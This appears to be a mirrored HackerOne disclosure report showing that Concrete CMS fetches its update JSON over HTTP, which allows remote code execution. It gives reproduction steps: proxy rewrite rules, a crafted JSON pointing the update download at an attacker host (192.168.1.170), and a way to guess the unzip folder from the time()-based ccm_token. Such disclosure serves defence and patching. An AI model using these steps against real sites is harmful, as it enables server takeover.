Lucene search

K
hackeronePabl00nicarresH1:982130
HistorySep 14, 2020 - 6:26 p.m.

Concrete CMS: Fetching the update json scheme from concrete5 over HTTP leads to remote code execution

2020-09-1418:26:33
pabl00nicarres
hackerone.com
27

0.006 Low

EPSS

Percentile

78.6%

Hi,
I noticed that concrete5 fetches the update JSON scheme from www.concrete5.org over HTTP.
The fetched json defines the download URL, so we can simply tamper with this JSON in order to make the update URL point to a server controlled by us.
Combining this with the possibility to set an arbitrary proxy for outgoing communications leads to RCE.

Privileges required: Administrator
Preconditions: the directory “updates” has to be writable from the application.
Magic word for submitting the report: crayons

Here the steps to reproduce:

  • Login with a user with Administrator privileges.
  • Set the proxy to an attacker controlled proxy (here I used a Burp instance for the sake of simplicity).
    {F987848}
  • Write proxy rules to modify both request and answer. With Burp this comes trivial, I used the “match and replace” functionality.

{F987845}

Here I explain the rules:
The first rule replaces the actual version “8.5.4” with version 8, so we can obtain a response from concrete5 with a valid json to tamper with.
The second rule changes the json field “Direct Download URL” with an arbitrary host controlled by the attacker.
The third rule changes the json field “version” to a new version, to bypass the internal control logic making the application to believe there’s a new update available.
Of course, we could simply provide a crafted json in the response, like this:

{"version":"8.6","notes":"RCE","notes_url":"https:\/\/documentation.concrete5.org\/developers\/background\/version-history\/821-release-notes","identifier":"8.6","date":"2017-08-02","direct_download_url":"http:\/\/192.168.1.170:8000\/test.zip"}
  • Set a webserver with a zipped file. Here I used test.zip, which contains the file “poc.php”.
  • Perform the update check letting our proxy tamper with request/answer and then click on the download button.
  • Verify that our fake update has been downloaded from our rogue server, successfully unzipped and is reachable from the web root (in the example below I downloaded it multiple times).
    {F987864}
    {F987866}
  • The only issue in this procedure is that the application writes the unzipped update in a directory and the name of this directory is generated by the PHP native function time().
    {F987869}

It could be easy to guess this value for an attacker but still pretty annoying, iterating over a number of values.
Luckily for us the application token “ccm_token” is generated using the very same “time()” function.
We can just perform an unauthenticated request (or whatever request returns the aforementioned token in a web page) knowing the time function output in that moment.
{F987876}
Doing this, an attacker just needs to perform 2 or 3 requests for nearby time values in order to guess the name of the folder, making this completely reliable from the attacker perspective.

Thanks
Paolo Serracino

Impact

Remote Code Execution

0.006 Low

EPSS

Percentile

78.6%